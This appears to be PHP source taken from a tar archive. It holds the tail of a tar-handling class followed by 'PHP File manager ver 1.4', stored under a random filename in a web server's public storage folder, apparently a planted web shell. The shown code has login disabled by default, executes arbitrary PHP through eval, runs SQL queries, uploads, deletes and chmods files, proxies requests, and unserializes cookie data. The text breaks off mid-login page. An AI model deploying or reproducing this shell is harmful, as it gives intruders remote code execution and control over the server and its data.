				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>w8zplf/1o045.php.tar000064400000236000000000000000010006 0ustar00var/www/html/back/storage/app/public/85/w8zplf/1o045.php000064400000232666000000000000016455 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
